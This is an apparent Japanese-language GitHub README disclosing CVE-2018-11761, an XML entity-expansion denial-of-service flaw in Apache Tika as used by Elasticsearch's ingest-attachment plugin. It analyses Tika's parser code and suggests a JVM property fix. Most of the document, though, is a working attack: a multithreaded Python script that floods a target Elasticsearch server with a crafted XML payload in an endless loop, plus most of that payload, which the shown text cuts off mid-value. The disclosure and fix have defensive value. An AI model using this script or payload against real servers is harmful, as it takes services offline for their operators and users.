brianwrf/cve-2018-11761Apache Tika サービス拒否の脆弱性 (CVE-2018-11761)
Apache Tikaに関する最近の調査で、XMLパーサーにDOS（サービス拒否）の脆弱性が存在することを発見しました。これは、パーサーがXMLドキュメントを不適切に解析することが原因です。
ご存知のように、コアのインジェストアタッチメントプラグインは、Apacheテキスト抽出ライブラリTikaを使用して、Elasticsearchが一般的な形式（PPT、XLS、PDFなど）のファイル添付を抽出できるようにします。では、インジェストアタッチメントプラグインのソースコードを見てみましょう。```Java /** subset of parsers for types we support */ private static final Parser PARSERS[] = new Parser[] { // documents new org.apache.tika.parser.html.HtmlParser(), new org.apache.tika.parser.rtf.RTFParser(), new org.apache.tika.parser.pdf.PDFParser(), new org.apache.tika.parser.txt.TXTParser(), new org.apache.tika.parser.microsoft.OfficeParser(), new org.apache.tika.parser.microsoft.OldExcelParser(), ParserDecorator.withoutTypes(new org.apache.tika.parser.microsoft.ooxml.OOXMLParser(), EXCLUDES), new org.apache.tika.parser.odf.OpenDocumentParser(), new org.apache.tika.parser.iwork.IWorkPackageParser(), new org.apache.tika.parser.xml.DcXMLParser(), new org.apache.tika.parser.epub.EpubParser(), };
実際には、プラグインは [`org.apache.tika.parser.xml.DcXMLParser()`](https://github.com/apache/tika/blob/e6e3b8817053e981f3843f1d3b7055b4ae30ed73/tika-parsers/src/main/java/org/apache/tika/parser/xml/DcXMLParser.java) をパーサーとして使用し、XMLファイルからコンテンツを抽出します。さらに調査すると、以下の呼び出しが確認できます：
* `DcXMLParser()` は [`XMLParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java) を拡張しています
* `XMLParser` は [`XMLReaderUtils.parseSAX`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java#L75) を使用してXML文書を解析します
* `XMLReaderUtils.parseSAX` は [`setPoolSize`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L470) -> [`getSAXParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L139) -> [`getSAXParserFactory`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L163) を呼び出します```java
public static SAXParserFactory getSAXParserFactory() {
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setNamespaceAware(true);
factory.setValidating(false);
try {
factory.setFeature(
XMLConstants.FEATURE_SECURE_PROCESSING, true);
} catch (ParserConfigurationException e) {
} catch (SAXNotSupportedException e) {
} catch (SAXNotRecognizedException e) {
// TIKA-271: Some XML parsers do not support the
// secure-processing feature, even though it's required by
// JAXP in Java 5. Ignoring the exception is fine here, as
// deployments without this feature are inherently vulnerable
// to XML denial-of-service attacks.
}
return factory;
}
上記の関数では、SAXParserFactory.newInstance() オブジェクトに対するセキュリティ制限が非常に限定的であることがわかります。```Java
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
Oracle の説明によると、[`XMLConstants.FEATURE_SECURE_PROCESSING`](https://docs.oracle.com/javase/8/docs/api/javax/xml/XMLConstants.html) が有効になっている場合、実装に対して XML を安全に処理するよう指示します。これにより、サービス拒否攻撃などの状況を回避するために、XML 構造に制限が設定される可能性があります。
しかし、実際には [XML Entity Expansion](http://www.ws-attacks.org/XML_Entity_Expansion) を完全に防ぐことはできません。攻撃者は依然として ES サーバーに細工された XML ドキュメントを送信し、`Proof of Concept` のセクションで述べたように、XML Entity Expansion の脆弱性を介して DoS 攻撃を行うことができます。Apache Tika のソースコードを確認したところ、彼らは `XMLConstants.FEATURE_SECURE_PROCESSING` 機能のみを有効にしており、[この記事](http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html) に従ってこの種の攻撃から保護できると考えている可能性があります。デフォルトではエンティティ展開の数を 64,000 に制限するためです。しかし実際には、これらの 64,000 のエンティティ展開を利用して、メモリ内に増幅された XML オブジェクトを生成することができます。例えば、POC 内の `ES_XML.xml` のファイルサイズは約 64KB ですが、ES サーバーのバックエンドの Tika サーバーにアップロードされると、Tika はそれを解析するために少なくとも 6MB のメモリ（6MB / 64KB = 100倍）を割り当てる必要があり、CPU 使用率が急速に増加します。
したがって、私の理解では、考えられる修正の1つとして、[Oracle のドキュメント](https://docs.oracle.com/javase/tutorial/jaxp/limits/limits.html) に従って以下のシステムプロパティを設定することで、影響を大幅に制限できる可能性があります：```
jdk.xml.entityExpansionLimit=1
以下のデモは、Tika 1.18を使用しているElasticSearch 6.3.31でテストおよび検証されています：
poc_dos_es.pyとして保存します：```Pythonimport requests import sys import base64 import json import threading import sys
headers = {"Content-Type" : "application/json"}
class ExploitThread(threading.Thread): def init(self, es_ip, es_port, mal_xml_file, thread_index): threading.Thread.init(self) self.es_ip = es_ip self.es_port = es_port self.mal_xml_file = mal_xml_file self.thread_index = thread_index self.num = 1
def create_ingest_att_pipeline(self, url):
pipeline_url = "{}/_ingest/pipeline/attachment".format(url)
data = {
"description" : "Extract attachment information",
"processors" : [{
"attachment" : {
"field" : "data",
"indexed_chars": "-1"
}
}]
}
res = requests.put(pipeline_url, headers=headers, data=json.dumps(data))
if res.status_code == 200:
print("[+] [Thread {}] [No. {}] pipeline created successfully, res: {}".format(self.thread_index, self.num, res.text))
else:
print("[!] [Thread {}] [No. {}] failed to create pipeline, res: {}".format(self.thread_index, self.num, res.text))
def send_payload(self, url, payload):
ingest_url = "{}/my_index/_doc/1?pipeline=attachment".format(url)
data = {
"data": payload
}
res = requests.put(ingest_url, headers=headers, data=json.dumps(data))
print("[+] [Thread {}] [No. {}] response from es clusters: {}".format(self.thread_index, self.num, res.text))
def verify_mal_doc(self, url):
ingest_url = "{}/my_index/_doc/1".format(url)
res = requests.get(ingest_url, headers=headers)
if res.status_code == 200:
print("[+] [Thread {}] [No. {}] res: {}".format(self.thread_index, self.num, res.text))
else:
print("[!] [Thread {}] [No. {}] failed to verify res: {}".format(self.thread_index, self.num, res.text))
def run(self):
url = "http://{}:{}".format(self.es_ip, self.es_port)
with open(self.mal_xml_file, 'rb') as f:
content = base64.b64encode(f.read())
self.create_ingest_att_pipeline(url)
while True:
print("[+] [Thread {}] [No. {}] trying to send malformated payload...".format(self.thread_index, self.num))
self.send_payload(url, content)
self.num += 1
#self.verify_mal_doc(url)
if name == "main":
# ES server's IP, Port
es_ip = sys.argv[1]
es_port = sys.argv[2]
# Crafted XML file
mal_xml_file = sys.argv[3]
# Number of Processes
thread_num = int(sys.argv[4])
for i in range(thread_num):
i += 1
t = ExploitThread(es_ip, es_port, mal_xml_file, i)
t.start()
* 巧妙に細工されたXML文書を作成し、`ES_XML.xml`として保存します:```XML
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY a "12345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000